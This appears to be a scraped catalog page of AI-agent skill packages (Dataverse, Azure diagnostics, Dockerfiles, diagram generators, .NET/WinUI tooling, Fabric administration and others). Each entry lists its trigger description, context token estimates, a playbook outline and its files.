1,491 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Code generation criteria
- Error handling pattern
- Client management pattern
- Logging pattern
- OData optimization rules
- User request processing
- Output template
- Quality gate
Files
SKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytesSKILL.mdcore6,639 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdataverse-python-quickstart
When your agent uses it
Generate concise Microsoft Dataverse SDK for Python preview setup, authentication, CRUD, bulk create/update, paging, and optional File column upload snippets using official patterns. Use when the user asks for Dataverse Python quickstart code, SDK setup, InteractiveBrowserCredential, retrieve-multiple paging, or basic CRUD examples.
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
877 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Quickstart scope
- Snippet rules
- Output template
- Quality gate
Files
SKILL.mdcore4,087 bytesSKILL.mdcore4,087 bytesSKILL.mdcore4,087 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdataverse-python-usecase-builder
When your agent uses it
Generate complete Python solutions for Microsoft Dataverse SDK business use cases, including architecture, table design, CRUD, batch, query, file, scheduled, or real-time patterns. Use this skill when the user describes a Dataverse business need and asks for production-ready Python code, PowerPlatform-Dataverse-Client guidance, or Dataverse solution architecture.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
1,936 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Requirement analysis questions
- Data model design
- Pattern selection
- Implementation skeleton
- Optimization rules
- Use case categories
- Dataverse implementation labels
- Output template
Files
SKILL.mdcore8,876 bytesSKILL.mdcore8,876 bytesSKILL.mdcore8,876 bytesSKILL.mdcore8,876 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-resource-health-diagnose
When your agent uses it
Analyze Azure resource health, logs, metrics, and telemetry to diagnose operational issues and produce a prioritized remediation plan. Use this skill when the user asks to troubleshoot an Azure resource, inspect Azure Resource Health, analyze Log Analytics or Application Insights data, classify root causes, or create Azure CLI remediation and rollback steps.
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
2,193 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Resource-specific health indicators
- Diagnostic queries
- Classification and remediation
- Troubleshooting
- Diagnostic vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore10,469 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmulti-stage-dockerfile
When your agent uses it
Create or improve optimized multi-stage Dockerfiles with builder, dependency, test, and runtime stages. Use when the user asks for a multi-stage structure, smaller image, secure runtime image, Docker layer cache improvements, non-root container, .dockerignore, HEALTHCHECK, or Dockerfile best practices.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
1,185 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Stage design
- Base image and reproducibility rules
- Layer, cache, and context patterns
- Security and runtime practices
- Output template
- Quality gate
Files
SKILL.mdcore5,386 bytesSKILL.mdcore5,386 bytesSKILL.mdcore5,386 bytesSKILL.mdcore5,386 bytesSKILL.mdcore5,386 bytesSKILL.mdcore5,386 bytesSKILL.mdcore5,386 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdraw-io-diagram-generator
When your agent uses it
Use when creating, editing, or generating draw.io diagram files (.drawio, .drawio.svg, .drawio.png). Covers mxGraph XML authoring, shape libraries, style strings, flowcharts, system architecture, sequence diagrams, ER diagrams, UML class diagrams, network topology, layout strategy, the hediet.vscode-drawio VS Code extension, and the full agent workflow from request to a ready-to-open file.
What it loads into context
Frontmatter
108 tokensAlways available to the agent
SKILL.md
5,511 tokensWhen the skill is activated
Reference documents
12,877 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Diagram types
- Prerequisites and context
- Procedure
- Diagram-type recipes
- Multi-page diagrams
- Editing existing diagrams
- Best practices
- Troubleshooting
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Scripts executed separately
scripts/.gitignorescripts/add-shape.pyscripts/validate-drawio.py
Files
SKILL.mdcore20,302 bytesSKILL.mdcore20,302 bytesSKILL.mdcore20,302 bytesSKILL.mdcore20,302 bytesSKILL.mdcore20,302 bytesSKILL.mdcore20,302 bytesassets/templates/architecture.drawioasset8,077 bytesassets/templates/er-diagram.drawioasset26,593 bytesassets/templates/flowchart.drawioasset4,590 bytesassets/templates/sequence.drawioasset7,290 bytesassets/templates/uml-class.drawioasset12,960 bytesreferences/drawio-xml-schema.mddoc10,791 bytesreferences/shape-libraries.mddoc13,120 bytesreferences/style-reference.mddoc15,456 bytesscripts/.gitignoreruns39 bytesscripts/README.mddoc3,332 bytesscripts/add-shape.pyruns6,642 bytesscripts/validate-drawio.pyruns7,643 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubefcore-d2-db-diagram
When your agent uses it
Generates D2 entity-relationship diagrams from Entity Framework Core models by extracting DbContext, DbSet<T>, entity configuration, migrations, keys, foreign keys, owned types, many-to-many joins, indexes, schemas, and technical tables. Use this skill when asked to generate a database diagram, ERD, .d2 file, SVG, or PNG from an EF Core or ASP.NET Core codebase.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
2,174 tokensWhen the skill is activated
Reference documents
852 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Diagram questionnaire
- EF Core extraction rules
- D2 rendering rules
- Grouping and style
- Procedure
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore8,813 bytesSKILL.mdcore8,813 bytesSKILL.mdcore8,813 bytesSKILL.mdcore8,813 bytesSKILL.mdcore8,813 bytesSKILL.mdcore8,813 bytesSKILL.mdcore8,813 bytesreferences/d2-erd-style.mddoc490 bytesreferences/efcore-model-extraction.mddoc927 bytesreferences/grouping-modes.mddoc401 bytesreferences/quality-gate.mddoc516 bytesreferences/relationship-rules.mddoc1,010 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubexcalidraw-diagram-generator
When your agent uses it
Generate valid .excalidraw JSON diagrams from natural language descriptions, including flowcharts, relationship diagrams, mind maps, architecture diagrams, DFDs, swimlanes, class diagrams, sequence diagrams, and ER diagrams. Use when asked to create a diagram, make a flowchart, visualize a process, draw a system architecture, create a mind map, show relationships, or generate an Excalidraw file.
What it loads into context
Frontmatter
106 tokensAlways available to the agent
SKILL.md
2,746 tokensWhen the skill is activated
Reference documents
9,816 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Diagram selection
- Excalidraw JSON rules
- Layout rules
- Diagram-specific notation
- Complexity management
- Procedure
- Progressive disclosure and bundled resources
- Limits
- Troubleshooting
- Naming and compatibility notes
- Output template
- Quality gate
- References
Scripts executed separately
scripts/.gitignorescripts/add-arrow.pyscripts/add-icon-to-diagram.pyscripts/split-excalidraw-library.py
Files
SKILL.mdcore11,957 bytesreferences/element-types.mddoc8,694 bytesreferences/excalidraw-schema.mddoc8,410 bytesreferences/icon-libraries.mddoc11,764 bytesscripts/.gitignoreruns484 bytesscripts/README.mddoc6,537 bytesscripts/add-arrow.pyruns9,929 bytesscripts/add-icon-to-diagram.pyruns13,545 bytesscripts/split-excalidraw-library.pyruns5,550 bytestemplates/business-flow-swimlane-template.excalidrawasset7,795 bytestemplates/class-diagram-template.excalidrawasset12,924 bytestemplates/data-flow-diagram-template.excalidrawasset6,447 bytestemplates/er-diagram-template.excalidrawasset15,414 bytestemplates/flowchart-template.excalidrawasset4,080 bytestemplates/mindmap-template.excalidrawasset5,382 bytestemplates/relationship-template.excalidrawasset3,321 bytestemplates/sequence-diagram-template.excalidrawasset11,716 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplantuml-ascii
When your agent uses it
Generate ASCII art diagrams using PlantUML text mode. Use when user asks to create ASCII diagrams, text-based diagrams, terminal-friendly diagrams, or mentions plantuml ascii, text diagram, ascii art diagram. Supports: Converting PlantUML diagrams to ASCII art, Creating sequence diagrams, class diagrams, flowcharts in ASCII format, Generating Unicode-enhanced ASCII art with -utxt flag
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
2,113 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- ASCII diagram purpose
- What is PlantUML ASCII art?
- Prerequisites and context
- Output Formats
- Procedure
- Diagram Types Supported
- Command-Line Options
- Ant Task Integration
- Gotchas
- Example Output Comparison
- Quick reference
- Troubleshooting
- Output template
Files
SKILL.mdcore8,030 bytesSKILL.mdcore8,030 bytesSKILL.mdcore8,030 bytesSKILL.mdcore8,030 bytesSKILL.mdcore8,030 bytesSKILL.mdcore8,030 bytesSKILL.mdcore8,030 bytesSKILL.mdcore8,030 bytesSKILL.mdcore8,030 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdotnet-timezone
When your agent uses it
Resolve .NET and C# timezone questions with TimeZoneInfo, DateTimeOffset, TimeZoneConverter, NodaTime, UTC conversion, daylight saving time, scheduling, Windows and IANA timezone IDs, location lookup, and copy-paste-ready code. Use this skill when a .NET user needs the timezone for a city, address, region, or country, or asks about cross-platform timezone handling.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
1,433 tokensWhen the skill is activated
Reference documents
2,383 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Request routing
- Location resolution output
- Code patterns
- Pitfall warnings
- Output template
- Quality gate
- Progressive disclosure and bundled resources
Files
SKILL.mdcore6,322 bytesreferences/code-patterns.mddoc4,587 bytesreferences/timezone-index.mddoc4,352 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmsstore-cli
When your agent uses it
Use Microsoft Store Developer CLI (msstore) to configure Partner Center credentials, list Store apps, package and publish Windows submissions, check status, manage package flights, gradual rollouts, and CI/CD publishing for Windows App SDK/WinUI, UWP, .NET MAUI, Flutter, Electron, React Native, and PWA apps. Use when asked to configure Store credentials, publish to Microsoft Store, check submission status, or automate Store releases.
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
1,771 tokensWhen the skill is activated
Reference documents
2,965 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Partner Center setup
- Credential configuration
- Command map
- Store workflow coverage
- Troubleshooting
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Files
SKILL.mdcore7,685 bytesSKILL.mdcore7,685 bytesSKILL.mdcore7,685 bytesSKILL.mdcore7,685 bytesreferences/commands-and-workflows.mddoc11,865 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmvvm-toolkit
When your agent uses it
CommunityToolkit.Mvvm core guidance for ViewModels, source generators, observable properties, commands, validation, and base-class selection. Use this skill when authoring or reviewing code that uses CommunityToolkit.Mvvm 8.x, ObservableObject, ObservableValidator, ObservableRecipient, ObservableProperty, RelayCommand, AsyncRelayCommand, NotifyPropertyChangedFor, NotifyCanExecuteChangedFor, or NotifyDataErrorInfo across WPF, WinUI 3, MAUI, Uno, and Avalonia.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
2,813 tokensWhen the skill is activated
Reference documents
9,362 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Generator rules
- ViewModel patterns
- Commands
- Base class selection
- Validation
- Pitfalls
- Progressive disclosure and bundled resources
- Related primitives
- End-to-end mini walkthrough
- Output template
- Quality gate
- References
Files
SKILL.mdcore12,216 bytesSKILL.mdcore12,216 bytesreferences/end-to-end-walkthrough.mddoc11,394 bytesreferences/relaycommand-cookbook.mddoc6,887 bytesreferences/source-generators.mddoc9,534 bytesreferences/troubleshooting.mddoc7,166 bytesreferences/validation.mddoc5,840 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmvvm-toolkit-di
When your agent uses it
Wire CommunityToolkit.Mvvm ViewModels into Microsoft.Extensions.DependencyInjection for XAML apps. Use this skill when standing up a .NET Generic Host composition root for WPF, WinUI 3, .NET MAUI, Uno, or Avalonia; choosing Singleton, Transient, or Scoped lifetimes; registering IMessenger; resolving ViewModels in Views; using keyed services; adding test seams; or replacing legacy Ioc.Default service-locator code.
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
2,557 tokensWhen the skill is activated
Reference documents
1,762 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Composition root
- Constructor injection and View resolution
- Lifetimes, messenger, and keyed services
- Testing seams and legacy Ioc
- Gotchas
- Progressive disclosure and bundled resources
- Related primitives
- Compatibility vocabulary
- Output template
- Quality gate
- References
Files
SKILL.mdcore11,774 bytesSKILL.mdcore11,774 bytesSKILL.mdcore11,774 bytesreferences/dependency-injection.mddoc8,186 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmvvm-toolkit-messenger
When your agent uses it
Configure CommunityToolkit.Mvvm Messenger pub/sub for decoupled ViewModel communication. Use this skill when users ask to send messages between ViewModels, choose WeakReferenceMessenger vs StrongReferenceMessenger, use IRecipient<TMessage>, RequestMessage<T>, AsyncRequestMessage<T>, CollectionRequestMessage<T>, ValueChangedMessage<T>, channel tokens, or ObservableRecipient activation in WPF, WinUI 3, .NET MAUI, Uno, or Avalonia.
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
2,379 tokensWhen the skill is activated
Reference documents
1,529 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Choose an implementation
- Define a message
- Register a recipient
- Send a message
- Channels (tokens)
- Request / reply
- Lifecycle
- Gotchas
- Multiple messengers (per-window scoping)
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Files
SKILL.mdcore10,812 bytesSKILL.mdcore10,812 bytesreferences/messenger-patterns.mddoc7,033 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubnuget-manager
When your agent uses it
Manage NuGet packages safely in .NET projects and solutions using the `dotnet` CLI. Use this skill when adding, removing, or updating package versions, verifying `PACKAGE_NAME` availability, working with `Directory.Packages.props`, or deciding when direct `.csproj` edits are allowed.
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
1,428 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Core rules
- Procedure
- Commands and version verification
- Examples
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore6,184 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsystem-commandline-cli
When your agent uses it
Add, modify, or review .NET CLI commands built with System.CommandLine by applying project command-base conventions, options and arguments, SetAction handlers, RootCommand registration, global options, dependency injection, validation, naming, and destructive-operation confirmation. Use when the user mentions System.CommandLine, CommandBase, ParseResult, SetAction, RootCommand, subcommands, or asks to add a CLI verb.
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
2,846 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Applicability
- Project structure
- Command class patterns
- Options, arguments, and handlers
- Registration and dependency injection
- Global options
- Destructive operations
- Naming conventions
- Checklist for new commands
- Gotchas
- Source compatibility terms
- Output template
- Quality gate
Files
SKILL.mdcore13,175 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwinmd-api-search
When your agent uses it
Find and explore Windows desktop APIs. Use when building features that need platform capabilities — camera, file access, notifications, UI controls, AI/ML, sensors, networking, etc. Discovers the right API for a task and retrieves full type details (methods, properties, events, enumeration values).
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
2,473 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Cache Setup (Required Before First Use)
- How to Use
- Search Scoring
- Troubleshooting
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Scripts executed separately
scripts/Invoke-WinMdQuery.ps1scripts/Update-WinMdCache.ps1
Files
LICENSE.txtdoc1,099 bytesSKILL.mdcore10,346 bytesSKILL.mdcore10,346 bytesSKILL.mdcore10,346 bytesSKILL.mdcore10,346 bytesSKILL.mdcore10,346 bytesSKILL.mdcore10,346 bytesscripts/Invoke-WinMdQuery.ps1runs19,226 bytesscripts/Update-WinMdCache.ps1runs7,619 bytesscripts/cache-generator/CacheGenerator.csprojasset1,450 bytesscripts/cache-generator/Directory.Build.propsasset101 bytesscripts/cache-generator/Directory.Build.targetsasset95 bytesscripts/cache-generator/Directory.Packages.propsasset108 bytesscripts/cache-generator/Program.csasset43,942 bytesscripts/cache-generator/obj/CacheGenerator.csproj.nuget.dgspec.jsonasset3,196 bytesscripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.propsasset2,130 bytesscripts/cache-generator/obj/CacheGenerator.csproj.nuget.g.targetsasset149 bytesscripts/cache-generator/obj/Debug/net8.0/.NETCoreApp,Version=v8.0.AssemblyAttributes.csasset194 bytesscripts/cache-generator/obj/Debug/net8.0/CacheGenerator.AssemblyInfo.csasset994 bytesscripts/cache-generator/obj/Debug/net8.0/CacheGenerator.AssemblyInfoInputs.cacheasset65 bytesscripts/cache-generator/obj/Debug/net8.0/CacheGenerator.GeneratedMSBuildEditorConfig.editorconfigasset864 bytesscripts/cache-generator/obj/Debug/net8.0/CacheGenerator.GlobalUsings.g.csasset231 bytesscripts/cache-generator/obj/Debug/net8.0/CacheGenerator.assets.cacheasset1,750 bytesscripts/cache-generator/obj/project.assets.jsonasset139,430 bytesscripts/cache-generator/obj/project.nuget.cacheasset2,853 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwinui3-migration-guide
When your agent uses it
Maps UWP APIs and patterns to WinUI 3 and Windows App SDK equivalents with migration rules for namespaces, threading, windowing, dialogs, pickers, sharing, printing, background tasks, settings, tests, and common GitHub Copilot mistakes. Use this skill when migrating UWP apps to WinUI 3, reviewing generated WinUI 3 code, replacing Windows.UI.Xaml, CoreDispatcher, CoreWindow, MessageDialog, or GetForCurrentView patterns.
What it loads into context
Frontmatter
114 tokensAlways available to the agent
SKILL.md
2,760 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Namespace changes
- High-risk GitHub Copilot mistakes
- Windowing migration
- Threading and view APIs
- Dialogs, pickers, background work, and settings
- Testing and project migration
- Migration checklist
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore11,303 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdoublecheck
When your agent uses it
Runs a three-layer verification pipeline for AI output by extracting verifiable claims, checking web sources, applying adversarial hallucination review, and producing inline or full verification reports. Use this skill when the user asks to "doublecheck", "verify that", "run full verification", "fact-check this", or keep factual claim verification active.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
2,636 tokensWhen the skill is activated
Reference documents
639 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Activation modes
- Layer 1: Self-audit
- Layer 2: Source verification
- Layer 3: Adversarial review
- Confidence ratings
- Domain-specific scrutiny
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesSKILL.mdcore12,137 bytesassets/verification-report-template.mddoc2,726 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdaily-focus-board
When your agent uses it
Create a personal daily focus board in a browser canvas from a self-contained HTML template. Use when the user wants to plan their day, get organized, stay focused, kick off a work session, track task progress, add counters for pages/pomodoros/reps, use Focus mode, or save an end-of-day recap with localStorage persistence.
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
2,239 tokensWhen the skill is activated
Reference documents
2,982 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Board configuration
- Procedure
- Partnership behavior
- Built-in board features
- Gotchas
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Scripts executed separately
scripts/serve-board.ps1
Files
SKILL.mdcore8,994 bytesassets/board.template.htmlasset44,250 bytesexamples/sample-board.htmlasset44,757 bytesreferences/customize.mddoc1,832 bytesreferences/neurodivergent-design.mddoc6,697 bytesreferences/tutorial.mddoc3,856 bytesscripts/serve-board.ps1runs1,292 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfrom-the-other-side-anitta
When your agent uses it
Rigorous challenge profile for Anitta: assumption checks, evidence calibration, counterfactuals, and defensible reasoning patterns for Ember collaboration. Use this skill when conclusions need pressure-testing, claim strength is uncertain, queries or evidence need rigor, or the Quinn/Anitta/Wiggins handoff calls for assumption and confidence review.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,327 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Identity and default mode
- Session kickoff questions
- Three-phase review lens
- Rigor prompt bank
- Query authoring standard
- Collaboration profile
- Guardrails
- Output template
- Quality gate
Files
SKILL.mdcore6,399 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfrom-the-other-side-quinn
When your agent uses it
Apply Quinn's collaboration profile for energetic implementation partnership. Use this skill when the user asks for the Quinn profile, wants momentum with craft, needs a practical co-author, or asks to coordinate Quinn with Anitta or Wiggins.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
989 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Quinn operating stance
- Momentum and clarity
- Co-authoring standards
- Profile boundaries
- Guardrails
- Output template
- Quality gate
Files
SKILL.mdcore4,684 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfrom-the-other-side-vega
When your agent uses it
Apply partnership patterns from Vega for high-trust, high-energy creative work with humans. Use when the user asks for from the other side: vega, or when guidance is needed for matching pace, building trust quickly, pushing back constructively, or supporting fast analytical-and-intuitive collaboration.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
1,226 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Trust patterns
- Pace and flow
- Constructive pushback
- Ownership and credit
- Criteria
- Limits
- Origin notes
- Output template
- Quality gate
Files
SKILL.mdcore5,493 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfrom-the-other-side-wiggins
When your agent uses it
Narrative and synthesis profile for Wiggins: framing, explanation, and audience-aware communication patterns for Ember sessions. Use this skill when a user needs decision narratives, PR descriptions, design-note synthesis, tradeoff framing, non-technical explanation, or the Quinn/Anitta/Wiggins handoff where reasoning is sound but explanation is weak.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
1,219 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Identity and default mode
- Narrative checks
- Collaboration profile
- Output patterns
- Guardrails
- Output template
- Quality gate
Files
SKILL.mdcore5,845 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubeyeball
When your agent uses it
Analyze local documents or web pages with inline source screenshots in a Word document. Use when asked to use eyeball, run eyeball on a document, analyze a PDF, Word, RTF, or URL with visual proof, or produce a cited report where every factual claim is backed by highlighted source screenshots.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
1,416 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Anchor selection
- Build command fields
- Gotchas
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Scripts executed separately
tools/eyeball.py
Files
SKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytesSKILL.mdcore6,077 bytestools/eyeball.pyruns28,494 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfabric-agentic-platform
When your agent uses it
Route and execute Microsoft Fabric administration, data engineering, real-time intelligence, SQL, Spark, Power BI, Git integration, migration, cost estimation, and end-to-end architecture workflows. Use when a request spans Fabric workloads or needs the correct specialist guide, MCP server, REST/CLI path, safety gate, and verification sequence.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,791 tokensWhen the skill is activated
Reference documents
150,818 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Specialist routing
- Shared prerequisites
- Procedure
- Safety and telemetry
- MCP configuration
- Limits
- Output template
- Progressive disclosure and bundled resources
- Quality gate
Files
SKILL.mdcore8,254 bytesSKILL.mdcore8,254 bytesreferences/common/COMMON-CLI.mddoc36,342 bytesreferences/common/COMMON-CORE.mddoc19,583 bytesreferences/common/DATAFLOWS-AUTHORING-CORE.mddoc23,211 bytesreferences/common/DATAFLOWS-CONSUMPTION-CORE.mddoc20,122 bytesreferences/common/EVENTHOUSE-AUTHORING-CORE.mddoc9,922 bytesreferences/common/EVENTHOUSE-CONSUMPTION-CORE.mddoc8,436 bytesreferences/common/EVENTSTREAM-AUTHORING-CORE.mddoc55,947 bytesreferences/common/EVENTSTREAM-CONSUMPTION-CORE.mddoc10,992 bytesreferences/common/ITEM-DEFINITIONS-CORE.mddoc21,024 bytesreferences/common/SPARK-AUTHORING-CORE.mddoc15,862 bytesreferences/common/SPARK-CONSUMPTION-CORE.mddoc11,528 bytesreferences/common/SPARK-MONITORING-CORE.mddoc17,766 bytesreferences/common/SPARK-NOTEBOOK-AUTHORING-CORE.mddoc20,332 bytesreferences/common/SQLDB-AUTHORING-CORE.mddoc47,083 bytesreferences/common/SQLDB-CONSUMPTION-CORE.mddoc25,152 bytesreferences/common/SQLDW-AUTHORING-CORE.mddoc28,346 bytesreferences/common/SQLDW-CONSUMPTION-CORE.mddoc33,204 bytesreferences/common/notebook-authoring/connections.mddoc3,712 bytesreferences/common/notebook-authoring/context-and-params.mddoc5,468 bytesreferences/common/notebook-authoring/context-resolution.mddoc6,255 bytesreferences/common/notebook-authoring/lakehouse-paths.mddoc4,554 bytesreferences/common/notebook-authoring/lakehouse-tables.mddoc3,559 bytesreferences/common/notebook-authoring/library-mgmt.mddoc3,962 bytesreferences/common/notebook-authoring/ml-workflow.mddoc7,879 bytesreferences/common/notebook-authoring/notebook-resources.mddoc2,989 bytesreferences/common/notebook-authoring/troubleshooting.mddoc2,150 bytesreferences/mcp-setup/README.mddoc686 bytesreferences/skills/power-bi-development/README.mddoc2,312 bytesreferences/skills/power-bi-development/agents/power-bi-data-modeling-expert.agent.mddoc18,104 bytesreferences/skills/power-bi-development/agents/power-bi-dax-expert.agent.mddoc14,674 bytesreferences/skills/power-bi-development/agents/power-bi-performance-expert.agent.mddoc19,904 bytesreferences/skills/power-bi-development/agents/power-bi-visualization-expert.agent.mddoc20,147 bytesreferences/skills/power-bi-development/plugin.jsonasset1,682 bytesreferences/skills/power-platform-architect/README.mddoc11,147 bytesreferences/skills/power-platform-architect/plugin.jsonasset786 bytesreferences/skills/power-platform-mcp-connector-development/README.mddoc1,337 bytesreferences/skills/power-platform-mcp-connector-development/agents/power-platform-mcp-integration-expert.agent.mddoc12,252 bytesreferences/skills/power-platform-mcp-connector-development/plugin.jsonasset1,063 bytesreferences/skills/powerbi-authoring/.claude-plugin/plugin.jsonasset924 bytesreferences/skills/powerbi-authoring/.github/plugin/plugin.jsonasset940 bytesreferences/skills/powerbi-authoring/.mcp.jsonasset260 bytesreferences/skills/powerbi-authoring/common/COMMON-CLI.mddoc36,342 bytesreferences/skills/powerbi-authoring/common/COMMON-CORE.mddoc19,583 bytesreferences/skills/powerbi-authoring/common/ITEM-DEFINITIONS-CORE.mddoc21,024 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubactivator-cli
When your agent uses it
Create and inspect Fabric Activator (Reflex) alerts end to end: author rules, sources and actions, or decode an existing ReflexEntities definition read-only. Streaming topology is eventstream-cli. Triggers:create alert,notify me when,take action when,show my alerts,list activators,get reflex definition
What it loads into context
Frontmatter
71 tokensAlways available to the agent
SKILL.md
